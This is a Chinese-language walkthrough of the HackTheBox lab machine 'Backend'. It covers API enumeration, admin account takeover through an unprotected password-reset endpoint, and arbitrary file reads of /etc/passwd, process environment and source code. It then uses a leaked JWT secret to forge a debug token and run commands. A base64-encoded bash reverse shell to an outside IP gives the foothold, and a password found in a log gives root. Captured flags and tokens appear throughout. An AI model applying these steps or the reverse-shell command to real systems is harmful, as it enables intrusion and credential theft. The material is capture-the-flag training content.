HTB Backend

HackTheBox 次浏览

nmap 枚举

# 使用 Pwnbox
nmap -p- -sT -T4 10.10.11.161
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

经典端口

初探网站

curl 10.10.11.161
{"msg":"UHC API Version 1.0"}

貌似是一个 api 接口

初步枚举

使用 feroxbuster 扫描网站

feroxbuster -u http://10.10.11.161 --force-recursion # 强制递归
200      GET        1l        4w       29c http://10.10.11.161/
401      GET        1l        2w       30c http://10.10.11.161/docs
200      GET        1l        1w       20c http://10.10.11.161/api
200      GET        1l        1w       30c http://10.10.11.161/api/v1
307      GET        0l        0w        0c http://10.10.11.161/api/v1/admin => http://10.10.11.161/api/v1/admin/
405      GET        1l        3w       31c http://10.10.11.161/api/v1/admin/file

/docs 目录

curl http://10.10.11.161/docs | jq .
{
  "detail": "Not authenticated"
}

没有权限

/api/ 目录

curl http://10.10.11.161/api | jq .
{
  "endpoints": [
    "v1"
  ]
}

/api/v1 目录

curl http://10.10.11.161/api/v1 | jq .
{
  "endpoints": [
    "user",
    "admin"
  ]
}

进一步枚举

大概率不用扫描别的目录了,先停止上面的扫描。我们扫描这两个端点。因为 feroxbuster 默认只扫描 GET 方法,对于 API 接口,我们使用 -m GET,POST 参数,增加对 POST 方法的扫描

枚举 /user

feroxbuster -u http://10.10.11.161/api/v1/user -m GET,POST

扫描时我们扫出了很多数字目录如 /user/1123 但是没有实际内容,因此我们按 Enter 进入设置菜单,使用 n size 4 屏蔽大小为 4 的目录

200      GET        1l        1w      141c http://10.10.11.161/api/v1/user/1
422     POST        1l        3w      172c http://10.10.11.161/api/v1/user/login
422     POST        1l        2w       81c http://10.10.11.161/api/v1/user/signup

枚举 /admin

feroxbuster -u http://10.10.11.161/api/v1/admin -m GET,POST
401     POST        1l        2w       30c http://10.10.11.161/api/v1/admin/file

/user 接口

/user/1 接口

访问 /user/1

curl http://10.10.11.161/api/v1/user/1 | jq .
{
  "guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
  "email": "admin@htb.local",
  "date": null,
  "time_created": 1649533388111,
  "is_superuser": true,
  "id": 1
}

可以看到一个 admin 的账户信息

/user/login 接口

/user/login 貌似是一个登录接口,我们用 POST 方法尝试访问

curl -X POST http://10.10.11.161/api/v1/user/login | jq .
{
  "detail": [
    {
      "loc": [
        "body",
        "username"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    },
    {
      "loc": [
        "body",
        "password"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    }
  ]
}

我们加上 usernamepassword 参数尝试登录

# Content-Type: application/json
curl -X POST -H "Content-Type: application/json" http://10.10.11.161/api/v1/user/login -d '{"username": "admin", "password": "admin"}' | jq .
{
  "detail": [
    {
      "loc": [
        "body",
        "username"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    },
    {
      "loc": [
        "body",
        "password"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    }
  ]
}
# Content-Type: application/x-www-form-urlencoded
curl -X POST http://10.10.11.161/api/v1/user/login -d 'username=admin&password=admin' | jq .
{
  "detail": "Incorrect username or password"
}

这里尝试了两种格式(Content-Type)的参数,一种是 json 格式,一种是 x-www-form-urlencoded 格式,发现服务器接受的是后者。

/user/signup 接口

/user/signup 貌似是一个注册接口,我们用 POST 方法尝试访问

curl -X POST http://10.10.11.161/api/v1/user/signup | jq .
{
  "detail": [
    {
      "loc": [
        "body"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    }
  ]
}

我们尝试传递一些随机参数

curl -X POST http://10.10.11.161/api/v1/user/signup -d '281d1282=5ebbf69eeefa' | jq .
{
  "detail": [
    {
      "loc": [
        "body"
      ],
      "msg": "value is not a valid dict",
      "type": "type_error.dict"
    }
  ]
}

发现要求传递一个字典格式的参数,我们尝试传递 json 数据

curl -X POST -H "Content-Type: application/json" http://10.10.11.161/api/v1/user/signup -d '{"281d1282": "5ebbf69eeefa"}' | jq .
{
  "detail": [
    {
      "loc": [
        "body",
        "email"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    },
    {
      "loc": [
        "body",
        "password"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    }
  ]
}

我们尝试传递 emailpassword 参数

curl -X POST -H "Content-Type: application/json" http://10.10.11.161/api/v1/user/signup -d '{"email": "test@test.com", "password": "test"}' | jq .
{}

疑似注册成功,我们尝试使用 /user/login 接口登录

curl -X POST http://10.10.11.161/api/v1/user/login -d 'username=test@test.com&password=test' | jq .
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzE0Mzk1OTg4LCJpYXQiOjE3MTM3MDQ3ODgsInN1YiI6IjIiLCJpc19zdXBlcnVzZXIiOmZhbHNlLCJndWlkIjoiMzFkZDE5MjMtMWNkZC00OTVmLWExODAtMzk3MjYwOWZkNWVmIn0.OMY2TmjaEA7-RK64_WVuQNlWawx4tqibCT7ECUBNs1A",
  "token_type": "bearer"
}

发现登录成功,返回了一个 access_token

/docs 接口

我们尝试使用 access_token 访问 /docs 接口

使用浏览器插件 Modify Header 添加 Authorization

20240421171136

即可访问 /docs 接口,返回了 FastAPI 的文档

20240421174846

通过 /api/v1/user/SecretFlagEndpoint 我们获取到了 user 的 flag

curl -X 'PUT' \
  'http://10.10.11.161/api/v1/user/SecretFlagEndpoint' \
  -H 'accept: application/json'
{
  "user.txt": "b1fce8ddfd7484230cf12db4b10faf00"
}

我们也发现了一个 POST /api/v1/user/updatepass 的接口,需要 guid,我们可以通过 /user/1 获取到 adminguid,测试一下能不能更改 admin 的密码

curl -X 'POST' \
  'http://10.10.11.161/api/v1/user/updatepass' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
  "guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
  "password": "123456"
}'
{
  "date": null,
  "id": 1,
  "is_superuser": true,
  "hashed_password": "$2b$12$UdKTFBukB1Qctts8CPLESuIE8sOdJg/rHd87.jaMgFctMCTitsxya",
  "guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
  "email": "admin@htb.local",
  "time_created": 1649533388111,
  "last_update": null
}

发现密码已经更改成功

我们调用 /user/login 接口,获取 adminJWT

curl -X 'POST' \
  'http://10.10.11.161/api/v1/user/login' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'grant_type=&username=admin%40htb.local&password=123456&scope=&client_id=&client_secret='
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzE0Mzk4NzM0LCJpYXQiOjE3MTM3MDc1MzQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ._AtjVo_lHDfaLCF4shtgDCXcUmcdx5zkeCHmypnXVps",
  "token_type": "bearer"
}

修改 Modify Header 插件的 Authorization 头为 admin 账号的 JWT

/admin/file 接口

发现了一个 POST /api/v1/admin/file 的接口,我们尝试读取文件

curl -X 'POST' \
'http://10.10.11.161/api/v1/admin/file' \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzE0Mzk3MjkyLCJpYXQiOjE3MTM3MDYwOTIsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.Xq2STmqVRb6y_HYpyDpkqprpQ6wvuSZ1KF7-QETRsu0' \
  -H 'Content-Type: application/json' \
  -d '{
  "file": "/etc/passwd"
}'
{
  "file": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nusbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:112:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\nhtb:x:1000:1000:htb:/home/htb:/bin/bash\nlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\n"
}

发现是一个能读取文件的接口

/api/v1/admin/exec/{command} 接口

尝试执行 id 命令

curl -X 'GET' \
  'http://10.10.11.161/api/v1/admin/exec/id' \
  -H 'accept: application/json'
{
  "detail": "Debug key missing from JWT"
}

疑似需要在 JWT 中有 Debug 字段

而修改 JWT 的内容需要获得 JWT 的签名密钥

利用 /admin/file 接口

读取当前进程环境变量信息

...
  -d '{"file": "/proc/self/environ"}'
...
{
  "file": "APP_MODULE=app.main:app\u0000PWD=/home/htb/uhc\u0000LOGNAME=htb\u0000PORT=80\u0000HOME=/home/htb\u0000LANG=C.UTF-8\u0000VIRTUAL_ENV=/home/htb/uhc/.venv\u0000INVOCATION_ID=140ea6d97fd3499e966c7281c8b283b2\u0000HOST=0.0.0.0\u0000USER=htb\u0000SHLVL=0\u0000PS1=(.venv) \u0000JOURNAL_STREAM=9:17837\u0000PATH=/home/htb/uhc/.venv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000OLDPWD=/\u0000"
}

可知当前运行目录是 /home/htb/uhc

尝试读取可能的 python 文件,发现 app 目录下有 main.py

...
  -d '{"file": "/home/htb/uhc/app/main.py"}'
...
{
  "file": "import asyncio\n\nfrom fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends\nfrom fastapi_contrib.common.responses import UJSONResponse\nfrom fastapi import FastAPI, Depends, HTTPException, status\nfrom fastapi.security import HTTPBasic, HTTPBasicCredentials\nfrom fastapi.openapi.docs import get_swagger_ui_html\nfrom fastapi.openapi.utils import get_openapi\n\n\n\nfrom typing import Optional, Any\nfrom pathlib import Path\nfrom sqlalchemy.orm import Session\n\n\n\nfrom app.schemas.user import User\nfrom app.api.v1.api import api_router\nfrom app.core.config import settings\n\nfrom app import deps\nfrom app import crud\n\n\napp = FastAPI(title=\"UHC API Quals\", openapi_url=None, docs_url=None, redoc_url=None)\nroot_router = APIRouter(default_response_class=UJSONResponse)\n\n\n@app.get(\"/\", status_code=200)\ndef root():\n    \"\"\"\n    Root GET\n    \"\"\"\n    return {\"msg\": \"UHC API Version 1.0\"}\n\n\n@app.get(\"/api\", status_code=200)\ndef list_versions():\n    \"\"\"\n    Versions\n    \"\"\"\n    return {\"endpoints\":[\"v1\"]}\n\n\n@app.get(\"/api/v1\", status_code=200)\ndef list_endpoints_v1():\n    \"\"\"\n    Version 1 Endpoints\n    \"\"\"\n    return {\"endpoints\":[\"user\", \"admin\"]}\n\n\n@app.get(\"/docs\")\nasync def get_documentation(\n    current_user: User = Depends(deps.parse_token)\n    ):\n    return get_swagger_ui_html(openapi_url=\"/openapi.json\", title=\"docs\")\n\n@app.get(\"/openapi.json\")\nasync def openapi(\n    current_user: User = Depends(deps.parse_token)\n):\n    return get_openapi(title = \"FastAPI\", version=\"0.1.0\", routes=app.routes)\n\napp.include_router(api_router, prefix=settings.API_V1_STR)\napp.include_router(root_router)\n\ndef start():\n    import uvicorn\n\n    uvicorn.run(app, host=\"0.0.0.0\", port=8001, log_level=\"debug\")\n\nif __name__ == \"__main__\":\n    # Use this for debugging purposes only\n    import uvicorn\n\n    uvicorn.run(app, host=\"0.0.0.0\", port=8001, log_level=\"debug\")\n"
}

格式化后的代码

...
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
...

再通过 import 语句得到其他 python 代码,重点在 app/core/config.py

...
JWT_SECRET: str = "SuperSecretSigningKey-HTB"
...

使用 jwt.io 修改 JWT

20240421175753

取得立足点

使用新的 JWT 访问 /docs,尝试调用 /admin/exec/{command} 接口

curl -X 'GET' \
  'http://10.10.11.161/api/v1/admin/exec/id' \
    -H 'Authorization: Bearer ...
    ...
"uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)"

成功执行 id 命令,下一步我们尝试反弹 shell

这里由于涉及 url 编码问题,我们使用 base64 编码的方式传递命令

echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0NDQgMD4mMSI= | base64 -d |bash
htb@backend:~/uhc$ whoami
htb
htb@backend:~/uhc$ pwd
/home/htb/uhc
htb@backend:~/uhc$ id
uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

这里可以优化一下反向 shell,为其添加 TTY,可以参考 为 Reverse Shell 添加 TTY

提权

先信息收集一波,看看文件

发现了一个 auth.log

htb@backend:~/uhc$ cat auth.log
04/21/2024, 10:42:25 - Login Success for admin@htb.local
04/21/2024, 10:45:45 - Login Success for admin@htb.local
04/21/2024, 10:59:05 - Login Success for admin@htb.local
04/21/2024, 11:02:25 - Login Success for admin@htb.local
04/21/2024, 11:07:25 - Login Success for admin@htb.local
04/21/2024, 11:10:45 - Login Success for admin@htb.local
04/21/2024, 11:24:05 - Login Success for admin@htb.local
04/21/2024, 11:32:25 - Login Success for admin@htb.local
04/21/2024, 11:34:05 - Login Success for admin@htb.local
04/21/2024, 11:40:45 - Login Success for admin@htb.local
04/21/2024, 11:49:05 - Login Failure for Tr0ub4dor&3
04/21/2024, 11:50:40 - Login Success for admin@htb.local
04/21/2024, 11:50:45 - Login Success for admin@htb.local
04/21/2024, 11:51:05 - Login Success for admin@htb.local
04/21/2024, 11:52:25 - Login Success for admin@htb.local
04/21/2024, 11:57:25 - Login Success for admin@htb.local
04/21/2024, 12:04:05 - Login Success for admin@htb.local
04/21/2024, 12:53:33 - Login Failure for admin
04/21/2024, 13:06:28 - Login Success for test@test.com
04/21/2024, 13:28:12 - Login Success for admin@htb.local
04/21/2024, 13:51:32 - Login Success for admin@htb.local
04/21/2024, 13:52:14 - Login Success for admin@htb.local

其中有一个 Login Failure for Tr0ub4dor&3 的记录,这里本该是用户名,但却出现了疑似密码的字符串,我们尝试使用这个字符串进行提权

htb@backend:~/uhc$ su -
Password:Tr0ub4dor&3
root@backend:~# cat ~/root.txt
...

成功提权